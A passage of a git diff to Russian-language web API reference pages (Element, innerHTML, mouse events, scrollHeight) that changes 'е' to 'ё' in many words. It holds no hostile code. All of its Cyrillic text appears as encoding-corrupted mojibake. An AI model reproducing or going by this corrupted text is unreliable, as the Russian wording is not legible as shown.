<dd>УдаляСт прСдставлСниС ΡƒΠ·Π»Π° ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π°.</dd>
<dt>{{ domxref("EventTarget.removeEventListener()") }}</dt>
@@ -184,15 +184,15 @@ translation_of: Web/API/Element
<dl>
<dt>{{ domxref("Element.scrollIntoView()") }} {{experimental_inline}}</dt>
- <dd>ΠŸΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Π΅Ρ‚ страницу Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° элСмСнт Π½Π΅ ΠΏΠΎΠΏΠ°Π΄Π΅Ρ‚ Π² прСдставлСниС.</dd>
+ <dd>ΠŸΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Π΅Ρ‚ страницу Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° элСмСнт Π½Π΅ ΠΏΠΎΠΏΠ°Π΄Ρ‘Ρ‚ Π² прСдставлСниС.</dd>
<dt>{{ domxref("Element.setAttribute()") }}</dt>
<dd>УстанавливаСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΡƒΠ·Π»Π°.</dd>
<dt>{{ domxref("Element.setAttributeNS()") }}</dt>
- <dd>УстанавливаСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ пространством ΠΈΠΌΠ΅Π½ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΡƒΠ·Π»Π°.</dd>
+ <dd>УстанавливаСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ пространством ΠΈΠΌΡ‘Π½ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΡƒΠ·Π»Π°.</dd>
<dt>{{ domxref("Element.setAttributeNode()") }} {{obsolete_inline}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ прСдставлСниС ΡƒΠ·Π»Π° ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π°.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ прСдставлСниС ΡƒΠ·Π»Π° ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π°.</dd>
<dt>{{ domxref("Element.setAttributeNodeNS()") }} {{obsolete_inline}}</dt>
- <dd>УстановитС прСдставлСниС ΡƒΠ·Π»Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ пространством ΠΈΠΌΠ΅Π½ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π°.</dd>
+ <dd>УстановитС прСдставлСниС ΡƒΠ·Π»Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ пространством ΠΈΠΌΡ‘Π½ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π°.</dd>
<dt>{{ domxref("Element.setCapture()") }} {{non-standard_inline}}</dt>
<dd>Настройка Π·Π°Ρ…Π²Π°Ρ‚Π° событий ΠΌΡ‹ΡˆΠΈ, ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ всСх событий ΠΌΡ‹ΡˆΠΈ Π½Π° этот элСмСнт.</dd>
<dt>{{domxref("Element.setPointerCapture()")}}</dt>
diff --git a/files/ru/web/api/element/innerhtml/index.html b/files/ru/web/api/element/innerhtml/index.html
index 2803948c8c..9920c078ae 100644
--- a/files/ru/web/api/element/innerhtml/index.html
+++ b/files/ru/web/api/element/innerhtml/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Element/innerHTML
<p>Бвойство интСрфСйса {{domxref("Element")}} <strong><code>innerHTML</code></strong> устанавливаСт ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ HTML ΠΈΠ»ΠΈΒ XML Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов.</p>
-<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Если ΡƒΠ·Π»Ρ‹Β {{HTMLElement("div")}}, {{HTMLElement("span")}}, ΠΈΠ»ΠΈ {{HTMLElement("noembed")}} ΠΈΠΌΠ΅ΡŽΡ‚ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ тСкстовыС ΡƒΠ·Π»Ρ‹, содСрТащиС символы <code>(&amp;), (&lt;),</code>Β ΠΈΠ»ΠΈΒ <code>(&gt;)</code>, <code>innerHTML</code> Π²Π΅Ρ€Π½Π΅Ρ‚ эти символы ΠΊΠ°ΠΊ &amp;amp, &amp;lt ΠΈ &amp;gt соотвСтствСнно. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{domxref("Node.textContent")}} для получСния ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ ΠΊΠΎΠΏΠΈΠΈ содСрТимого этих тСкстовых ΡƒΠ·Π»ΠΎΠ².Β </div>
+<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Если ΡƒΠ·Π»Ρ‹Β {{HTMLElement("div")}}, {{HTMLElement("span")}}, ΠΈΠ»ΠΈ {{HTMLElement("noembed")}} ΠΈΠΌΠ΅ΡŽΡ‚ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ тСкстовыС ΡƒΠ·Π»Ρ‹, содСрТащиС символы <code>(&amp;), (&lt;),</code>Β ΠΈΠ»ΠΈΒ <code>(&gt;)</code>, <code>innerHTML</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ эти символы ΠΊΠ°ΠΊ &amp;amp, &amp;lt ΠΈ &amp;gt соотвСтствСнно. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{domxref("Node.textContent")}} для получСния ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ ΠΊΠΎΠΏΠΈΠΈ содСрТимого этих тСкстовых ΡƒΠ·Π»ΠΎΠ².Β </div>
<p>Β Π§Ρ‚ΠΎΠ±Ρ‹ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒΒ HTML Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π½Π΅ мСняя содСрТимоС элСмСнта, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}}.</p>
@@ -43,7 +43,7 @@ translation_of: Web/API/Element/innerHTML
javascript:"&lt;pre&gt;"+document.documentElement.innerHTML.replace(/&lt;/g,"&amp;lt;") + "&lt;/pre&gt;";
</pre>
-<p>Π­Ρ‚ΠΎ свойство Π±Ρ‹Π»ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π²Π΅Π± Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ, Π·Π°Ρ‚Π΅ΠΌ описано WHATWG ΠΈ W3C Π² HTML5. Π‘Ρ‚Π°Ρ€Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ Π½ΠΎΠ²Ρ‹Ρ…. Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, ΠΊΠΎΠ³Π΄Π° Π²Π²Π΅Π΄Π΅Π½ тСкст Π² ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° &lt;input&gt;, IE мСняСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° &lt;input&gt; свойства innerHTML, Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Gecko Π½Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ этого.</p>
+<p>Π­Ρ‚ΠΎ свойство Π±Ρ‹Π»ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π²Π΅Π± Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ, Π·Π°Ρ‚Π΅ΠΌ описано WHATWG ΠΈ W3C Π² HTML5. Π‘Ρ‚Π°Ρ€Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ Π½ΠΎΠ²Ρ‹Ρ…. Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, ΠΊΠΎΠ³Π΄Π° Π²Π²Π΅Π΄Ρ‘Π½ тСкст Π² ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° &lt;input&gt;, IE мСняСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° &lt;input&gt; свойства innerHTML, Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Gecko Π½Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ этого.</p>
<h3 id="БообраТСния_бСзопасности">БообраТСния бСзопасности</h3>
@@ -160,8 +160,8 @@ boxElem.addEventListener("mouseleave", logEvent);</pre>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
<ul>
- <li><a class="external" href="http://innerdom.sourceforge.net/"><code>innerDOM</code></a> - Для Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ стандартов, Π²ΠΎΡ‚ ΠΎΠ΄ΠΈΠ½ Π½Π°Π±ΠΎΡ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ JavaScript, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‰ΠΈΠΉ ΡΠ΅Ρ€ΠΈΠ°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒ XML Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ содСрТимоС элСмСнта, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ ΠΊΠ°ΠΊ строка(ΠΈ) Ρ‡Π΅Ρ€Π΅Π· DOM ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ содСрТимоС элСмСнта, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ ΠΈΠ· DOM ΠΊΠ°ΠΊ строку.</li>
+ <li><a class="external" href="http://innerdom.sourceforge.net/"><code>innerDOM</code></a> - Для Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ стандартов, Π²ΠΎΡ‚ ΠΎΠ΄ΠΈΠ½ Π½Π°Π±ΠΎΡ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ JavaScript, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‰ΠΈΠΉ ΡΠ΅Ρ€ΠΈΠ°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒ XML Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ содСрТимоС элСмСнта, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ ΠΊΠ°ΠΊ строка(ΠΈ) Ρ‡Π΅Ρ€Π΅Π· DOM ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ содСрТимоС элСмСнта, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ ΠΈΠ· DOM ΠΊΠ°ΠΊ строку.</li>
<li>{{domxref("Element.insertAdjacentHTML")}} - <span id="result_box" lang="ru"><span>ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π° для innerHTML, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ HTML</span></span>.</li>
- <li><a class="external" href="https://github.com/ndebeiss/jsxmlsaxparser">jssaxparser</a> - Β Π‘ΠΎΠ»Π΅Π΅ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΌ (хотя ΠΈ Π±ΠΎΠ»Π΅Π΅ тяТСлым) Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ, Ρ‡Π΅ΠΌ innerDOM (ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ парсинг с пространствами ΠΈΠΌΠ΅Π½, ΠΎΠ΄Π½ΠΎΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², сСкциями CDATA ΠΈ Ρ‚.Π΄.), являСтся этот SAX2 парсСр ΠΏΡ€ΠΈ использовании с Π΅Π³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ DOM-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. (ΠŸΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ строку Π½Π° DOM; DOM Π½Π° строку <a href="https://app.assembla.com/spaces/brettz9/bize6mebSr3B31ab7jnrAJ/source/DOMToString">Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΡ‰Π΅</a>).</li>
+ <li><a class="external" href="https://github.com/ndebeiss/jsxmlsaxparser">jssaxparser</a> - Β Π‘ΠΎΠ»Π΅Π΅ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΌ (хотя ΠΈ Π±ΠΎΠ»Π΅Π΅ тяТёлым) Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ, Ρ‡Π΅ΠΌ innerDOM (ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ парсинг с пространствами ΠΈΠΌΡ‘Π½, ΠΎΠ΄Π½ΠΎΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², сСкциями CDATA ΠΈ Ρ‚.Π΄.), являСтся этот SAX2 парсСр ΠΏΡ€ΠΈ использовании с Π΅Π³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ DOM-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. (ΠŸΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ строку Π½Π° DOM; DOM Π½Π° строку <a href="https://app.assembla.com/spaces/brettz9/bize6mebSr3B31ab7jnrAJ/source/DOMToString">Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΡ‰Π΅</a>).</li>
<li>Π­Ρ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ сообраТСний: <a class="external" href="http://www.quirksmode.org/dom/innerhtml.html">quirksmode.</a></li>
</ul>
diff --git a/files/ru/web/api/element/insertadjacenttext/index.html b/files/ru/web/api/element/insertadjacenttext/index.html
index 81a8079b0c..2b269e1291 100644
--- a/files/ru/web/api/element/insertadjacenttext/index.html
+++ b/files/ru/web/api/element/insertadjacenttext/index.html
@@ -24,7 +24,7 @@ translation_of: Web/API/Element/insertAdjacentText
</ul>
</dd>
<dt><code>element</code></dt>
- <dd>{{domxref("DOMString")}} тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² Π·Π°Π΄Π°Π½Π½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ.</dd>
+ <dd>{{domxref("DOMString")}} тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² Π·Π°Π΄Π°Π½Π½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ.</dd>
</dl>
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
diff --git a/files/ru/web/api/element/mouseenter_event/index.html b/files/ru/web/api/element/mouseenter_event/index.html
index 682e4930cd..48bd4bae46 100644
--- a/files/ru/web/api/element/mouseenter_event/index.html
+++ b/files/ru/web/api/element/mouseenter_event/index.html
@@ -34,7 +34,7 @@ translation_of: Web/API/Element/mouseenter_event
<div style="column-width: 455px; border: 1px solid; padding: 5px; margin-bottom: 10px;">
<div style="text-align: center;"><img alt="mouseenter.png" class="default internal" src="/@api/deki/files/5908/=mouseenter.png"></div>
-<span class="tlid-translation translation" lang="ru"><span title="">Одно событиС </span></span> <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляСтся ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ элСмСнту ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ ΠΏΡ€ΠΈ ΠΈΡ… Π²Π²ΠΎΠ΄Π΅.</span> <span title="">Π—Π΄Π΅ΡΡŒ 4 события ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ΠΌ элСмСнтам ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ, ΠΊΠΎΠ³Π΄Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ достигаСт тСкста.</span></span>
+<span class="tlid-translation translation" lang="ru"><span title="">Одно событиС </span></span> <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляСтся ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ элСмСнту ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ ΠΏΡ€ΠΈ ΠΈΡ… Π²Π²ΠΎΠ΄Π΅.</span> <span title="">Π—Π΄Π΅ΡΡŒ 4 события ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘ΠΌ элСмСнтам ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ, ΠΊΠΎΠ³Π΄Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ достигаСт тСкста.</span></span>
<div style="text-align: center;"><img alt="mouseover.png" class="default internal" src="/@api/deki/files/5909/=mouseover.png"></div>
<span class="tlid-translation translation" lang="ru"><span title="">ΠžΠ΄ΠΈΠ½ΠΎΡ‡Π½ΠΎΠ΅ событиС навСдСния ΠΌΡ‹ΡˆΠΈ</span></span> <code>mouseover</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляСтся Π² самый Π³Π»ΡƒΠ±ΠΎΠΊΠΈΠΉ элСмСнт Π΄Π΅Ρ€Π΅Π²Π° DOM, Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½ΠΎ всплываСт Π² ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ ΠΈΠ»ΠΈ Π½Π΅ достигнСт корня.</span></span></div>
diff --git a/files/ru/web/api/element/mouseleave_event/index.html b/files/ru/web/api/element/mouseleave_event/index.html
index 19b5e9dafb..6f0e633b07 100644
--- a/files/ru/web/api/element/mouseleave_event/index.html
+++ b/files/ru/web/api/element/mouseleave_event/index.html
@@ -8,7 +8,7 @@ translation_of: Web/API/Element/mouseleave_event
<p class="summary">Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <code>mouseleave</code> срабатываСт, ΠΊΠΎΠ³Π΄Π° курсор манипулятора (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΌΡ‹ΡˆΠΈ) пСрСмСщаСтся Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ элСмСнта.</p>
<p><code>mouseleave</code> <code>ΠΈ</code> {{event('mouseout')}} схоТи, Π½ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎΒ <code>mouseleave</code>Β Π½Π΅ всплываСт, Π°Β <code>mouseout</code> всплываСт.<br>
- Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎΒ <code>mouseleave</code> срабатываСт, ΠΊΠΎΠ³Π΄Π° курсор Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ элСмСнта <em>ΠΈ</em> всСх Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊΒ <code>mouseout</code> срабатываСт, ΠΊΠΎΠ³Π΄Π° курсор ΠΏΠΎΠΊΠΈΠ΄Π°Π΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ элСмСнта <em>ΠΈΠ»ΠΈ</em>Β ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов (Π΄Π°ΠΆΠ΅ Ссли курсор всС Π΅Ρ‰Π΅ находится Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… элСмСнта).</p>
+ Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎΒ <code>mouseleave</code> срабатываСт, ΠΊΠΎΠ³Π΄Π° курсор Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ элСмСнта <em>ΠΈ</em> всСх Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊΒ <code>mouseout</code> срабатываСт, ΠΊΠΎΠ³Π΄Π° курсор ΠΏΠΎΠΊΠΈΠ΄Π°Π΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ элСмСнта <em>ΠΈΠ»ΠΈ</em>Β ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов (Π΄Π°ΠΆΠ΅ Ссли курсор всС Π΅Ρ‰Ρ‘ находится Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… элСмСнта).</p>
<table class="standard" style="border: solid 1px;">
<tbody>
diff --git a/files/ru/web/api/element/removeattribute/index.html b/files/ru/web/api/element/removeattribute/index.html
index d249cb37b5..df098434f2 100644
--- a/files/ru/web/api/element/removeattribute/index.html
+++ b/files/ru/web/api/element/removeattribute/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/Element/removeAttribute
</pre>
<ul>
- <li><code>attrName</code> строка, имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½ с <em>element</em>.</li>
+ <li><code>attrName</code> строка, имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½ с <em>element</em>.</li>
</ul>
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/element/scrollheight/index.html b/files/ru/web/api/element/scrollheight/index.html
index e7f6f1f4af..895c36a2a8 100644
--- a/files/ru/web/api/element/scrollheight/index.html
+++ b/files/ru/web/api/element/scrollheight/index.html
@@ -166,7 +166,7 @@ onload = function () {
</tbody>
</table>
-<p><strong>Π’ вСрсиях Firefox Π΄ΠΎ 21-ΠΉ:</strong>Β ΠΊΠΎΠ³Π΄Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ элСмСнта Π½Π΅ создаСт Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ полосу ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ, Π΅Π³ΠΎ свойство <code style="font-size: 14px;">scrollHeight</code><span style="line-height: 1.5;">Β Ρ€Π°Π²Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽΒ </span><code style="font-size: 14px;">clientHeight</code><span style="line-height: 1.5;">. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Π»ΠΈΠ±ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° слишком ΠΌΠ°Π»ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅ΠΌΡƒ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»Π°ΡΡŒ полоса 